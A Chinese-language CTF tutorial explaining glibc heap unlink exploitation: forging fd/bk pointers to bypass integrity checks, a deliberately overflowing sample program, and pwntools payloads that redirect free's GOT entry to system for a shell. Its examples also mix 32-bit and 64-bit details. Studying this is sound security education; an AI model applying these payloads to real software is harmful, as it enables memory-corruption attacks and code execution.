写在前面在上一篇中我们学习了 Off-by-one 单字节溢出如何通过修改size字段的最低位清除PREV_INUSE位来欺骗堆管理器触发后向合并。今天我们将深入探讨这个合并过程中的核心操作——Unlink。Unlink 是 glibc 将空闲 chunk 从双向链表中摘除的机制如果通过堆溢出覆盖了 chunk 的fd和bk指针我们就能将这个看似普通的链表解链操作转化为强大的任意地址写入原语这是堆漏洞利用史上最经典、最核心的技术之一。 目录Unlink 机制精析从链表摘除到宏定义漏洞原理与历史演变从黄金时代到现代绕过堆溢出覆盖 fd/bk构造 Fake Chunk现代环境下的 Unlink 绕过已知指针技巧实战演练完整的 Unlink 利用流程总结与下篇预告1. Unlink 机制精析从链表摘除到宏定义在 glibc 的 ptmalloc2 中当两个空闲的 chunk 相邻时为了减少内存碎片堆管理器会将它们合并成一个更大的 chunk。在合并之前如果其中一个 chunk 已经在双向链表如 unsorted bin 或 small bin中就需要先将其从链表中摘除这个摘除操作就是Unlink。1.1 双向链表的基本结构空闲 chunk 在 bin 中通过fdforward pointer和bkbackward pointer组成双向链表... - [Chunk P] - [Chunk Q] - [Chunk R] - ...如果要将 Chunk Q 从链表中摘除标准的双向链表操作应该是Q-fd-bk Q-bk; // 即 R-bk P Q-bk-fd Q-fd; // 即 P-fd R这样P 的前向指针就指向了 RR 的后向指针就指向了 PQ 被成功踢出链表。1.2 glibc 中的unlink宏在 glibc 源码中为了安全和效率Unlink 操作被封装成了一个宏。在 glibc 2.23 及之后的版本中其核心逻辑如下#define unlink(AV, P, BK, FD) { FD P-fd; BK P-bk; // 安全检查检查双向链表的完整性 if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) malloc_printerr (corrupted double-linked list); else { FD-bk BK; BK-fd FD; // ... 针对large bin的额外处理 ... // 针对非fastbin的额外处理 if (!in_smallbin_range (P-size) ...) { ... } } }核心安全检查FD-bk ! P || BK-fd ! P这意味着当我们伪造了 Fake Chunk P 的fd和bk时P-fd即FD指向的地址它的bk域必须指回P。P-bk即BK指向的地址它的fd域必须指回P。如果没有这个检查我们可以随意伪造fd和bk实现任意地址写。有了这个检查我们必须找到一个已知指向 P 的指针才能绕过它。2. 漏洞原理与历史演变从黄金时代到现代绕过2.1 黄金时代glibc 2.23 之前在早期的 glibc 版本中unlink宏没有完整性检查。这意味着只要我们能通过堆溢出控制一个空闲 chunk 的fd和bk就可以实现任意的“写任意值到任意地址”Write-Anything-Anywhere。如果设置fd target_addr - 0x18bk value_to_write。执行FD-bk BK*(target_addr - 0x18 0x18) value_to_write*target_addr value_to_write。这通常被用于覆盖 GOT 表将free的 GOT 表项覆盖为system的地址。2.2 现代绕过glibc 2.23随着完整性检查的引入无脑覆盖 GOT 表的方法失效了。我们必须满足FD-bk P且BK-fd P。这就要求我们必须在内存中找到一个存放着 Fake Chunk P 地址的变量。在 CTF 题目中这通常是一个全局数组中的指针或者是堆上某个结构体里的指针。3. 堆溢出覆盖 fd/bk构造 Fake Chunk与 Off-by-one 仅能覆盖一个字节不同这里我们利用的是大范围堆溢出。假设程序存在一个堆溢出漏洞允许我们向下一个 chunk 写入超长的数据我们就可以完全覆盖下一个 chunk 的prev_size、size、fd和bk。3.1 利用前提存在堆溢出能覆盖相邻 chunk 的头部及fd/bk。已知指针存在一个全局指针ptr如heap_ptrs[0]指向我们溢出的 chunk 的 user_data 区域。触发 Unlink能够通过释放相邻 chunk 或其他操作触发针对我们伪造的 Fake Chunk 的 Unlink。3.2 构造 Fake Chunk 的数学推导假设我们在 chunk A 的 user_data 区域伪造一个 Fake Chunk P。已知全局指针ptr指向 chunk A 的 user_data即指向 P。我们需要设置 P 的fd和bk使得FD P-fd满足FD-bk P。FD-bk在结构体中的偏移是0x1864位。即*(P-fd 0x18) P。因为我们已知ptr P所以我们可以令P-fd ptr - 0x18。验证*(ptr - 0x18 0x18) *(ptr) ptr P成立BK P-bk满足BK-fd P。BK-fd在结构体中的偏移是0x1064位。即*(P-bk 0x10) P。令P-bk ptr - 0x10。验证*(ptr - 0x10 0x10) *(ptr) ptr P成立3.3 Unlink 执行后的结果当 glibc 对 P 执行 Unlink 操作时FD-bk BK*(ptr) ptr - 0x10ptr ptr - 0x10BK-fd FD*(ptr) ptr - 0x18ptr ptr - 0x18最终的结果是全局指针ptr不再指向堆块 P而是指向了它自己所在的地址减去 0x18最后一次执行的是BK-fd FD所以最终值为ptr - 0x18。这有什么用现在ptr指向了全局数据段.bss或.data。如果程序提供了通过ptr进行读写的功能如edit(ptr, data)这就变成了一个任意地址读写原语因为我们可以通过ptr修改ptr本身让它指向任意地址如 GOT 表然后再次利用ptr进行写入。4. 现代环境下的 Unlink 绕过已知指针技巧让我们用一张图来清晰地展示这个“已知指针绕过”的内存布局。HeapGlobal_DataUD_A_Fake1. 初始指向2. FD-bk 检查3. BK-fd 检查Chunk A HeaderChunk A User DataChunk B Header(被溢出覆盖, 清除 PREV_INUSE)Fake P prev_sizeFake P sizeFake P fdptr - 0x18Fake P bkptr - 0x10ptr (8 bytes)指向 Chunk A关键步骤回顾程序中存在一个结构体数组或全局数组其中ptr指向 chunk A。我们通过溢出 chunk A在其内部构造 Fake Chunk P并设置fd ptr - 0x18bk ptr - 0x10。我们溢出覆盖相邻 chunk B 的size字段清除PREV_INUSE位并伪造prev_size使得chunk_B - prev_size正好指向我们的 Fake Chunk P。当free(B)触发后向合并时glibc 对 P 执行 Unlink。检查通过ptr的值被修改为ptr - 0x18。5. 实战演练完整的 Unlink 利用流程下面我们通过伪代码和内存布局变化展示一个完整的 Unlink 利用过程。5.1 模拟漏洞程序#include stdio.h #include stdlib.h #include string.h char *ptr_array[10]; // 全局指针数组 void add(int idx, int size, char *content) { char *p malloc(size); ptr_array[idx] p; // 假设存在漏洞写入长度没有限制这里简化为直接溢出 memcpy(p, content, 0x100); // 溢出发生 } void edit(int idx, char *content) { // 通过 ptr_array[idx] 修改内容 memcpy(ptr_array[idx], content, 0x100); } int main() { // 攻击者调用 char payload[0x100]; // ... 构造 payload ... add(0, 0x80, payload); // 分配 chunk A发生溢出 // free(相邻 chunk) 触发 unlink return 0; }5.2 利用步骤与 Payload 构造步骤 1分配堆块add(0, 0x80, AAAA)分配 chunk Aptr_array[0]指向 chunk A 的 user_data地址记为heap_A。add(1, 0x80, BBBB)分配 chunk B用于被溢出和触发 free。add(2, 0x80, CCCC)分配 chunk C防止与 top chunk 合并。步骤 2构造 Payloadfrom pwn import * # 假设已知地址 ptr_array_addr 0x0804A080 # ptr_array 的地址 ptr_0_addr ptr_array_addr # ptr_array[0] 的地址 # 构造 Fake Chunk P fake_chunk b fake_chunk p64(0) # prev_size fake_chunk p64(0x81) # size (保持和原来一样0x80 PREV_INUSE1其实这里无所谓只要不被检查出问题) fake_chunk p64(ptr_0_addr - 0x18) # fd fake_chunk p64(ptr_0_addr - 0x10) # bk # 填充 chunk A 剩余部分 fake_chunk fake_chunk.ljust(0x80, bA) # 溢出到 chunk B 的头部 # 修改 chunk B 的 prev_size使其指向 Fake Chunk P # chunk B 的地址是 heap_A 0x90 (0x80 user_data 0x10 header) # prev_size heap_A 0x90 - heap_A 0x90 fake_chunk p64(0x90) # chunk B 的 prev_size # 修改 chunk B 的 size清除 PREV_INUSE 位 # 原 size 为 0x91修改为 0x90 fake_chunk p64(0x90) # chunk B 的 size (P0) # 发送 payload add(0, 0x80, fake_chunk)步骤 3触发 Unlink# 释放 chunk B触发后向合并对 Fake Chunk P 执行 unlink free(1)此时glibc 执行unlink(P)。检查FD-bk P*(ptr_0_addr - 0x18 0x18) P*ptr_0_addr Pptr_array[0] P成立。检查BK-fd P*(ptr_0_addr - 0x10 0x10) P*ptr_0_addr Pptr_array[0] P成立。执行FD-bk BK*ptr_0_addr ptr_0_addr - 0x10执行BK-fd FD*ptr_0_addr ptr_0_addr - 0x18结果ptr_array[0]的值变成了ptr_0_addr - 0x18。步骤 4任意地址写现在ptr_array[0]指向了它自己附近。如果我们调用edit(0, new_payload)实际上是在向ptr_array[0]所在的地址写入数据。# 此时 ptr_array[0] 指向 ptr_array - 0x18 # 我们可以通过 edit(0) 覆盖 ptr_array[0] 本身让它指向 GOT 表 # ptr_array 的布局 # [ptr_array[0]] [ptr_array[1]] ... # 我们写入的起点是 ptr_array - 0x18 # 构造 payload 覆盖 ptr_array[0] payload2 bA * 0x18 # 填充到 ptr_array[0] payload2 p32(free_got) # 覆盖 ptr_array[0] 为 freegot edit(0, payload2) # 现在 ptr_array[0] 指向 freegot # 再次调用 edit(0) 就是修改 freegot 的内容 payload3 p32(system_addr) edit(0, payload3) # 接下来调用 free(/bin/sh) 即可获取 shell6. 总结与下篇预告6.1 核心知识点总结Unlink 是双向链表摘除操作在 glibc 中用于合并空闲 chunk 时从 bin 中移除 chunk。现代检查机制glibc 2.23 引入了FD-bk P和BK-fd P的完整性检查要求必须已知指向 chunk 的指针。已知指针绕过技巧利用全局指针ptr构造fd ptr - 0x18bk ptr - 0x10绕过检查后ptr会被修改为ptr - 0x18。转化为任意地址写ptr指向自身附近后可通过修改ptr的值使其指向 GOT 表或其他敏感地址进而实现任意写。与 Off-by-one 的区别Off-by-one 主要修改size低字节触发合并堆溢出覆盖 fd/bk 则是直接控制链表指针是更强大的利用手段但需要更大的溢出长度。6.2 下篇预告下一篇我们将进入Tcache 溢出与扩展利用探讨在 glibc 2.26 时代堆溢出如何与 Tcache 机制结合包括Tcache 溢出修改 next 指针实现任意地址分配Tcache Poisoning 与 Unlink 的对比高版本 glibc 下的堆溢出利用思路综合练习off-by-one tcache 组合题预热最终结论Unlink 利用是堆漏洞利用中的“皇冠上的明珠”它将简单的内存破坏转化为强大的任意地址写原语。尽管现代 glibc 加强了检查但“已知指针绕过”技巧依然使其在特定场景下威力无穷。理解 Unlink是理解所有双向链表利用的基础。参考文献CTF Wiki - Heap Exploitation: Unlinkglibc malloc.c 源码分析堆利用详解Unlink 与任意地址写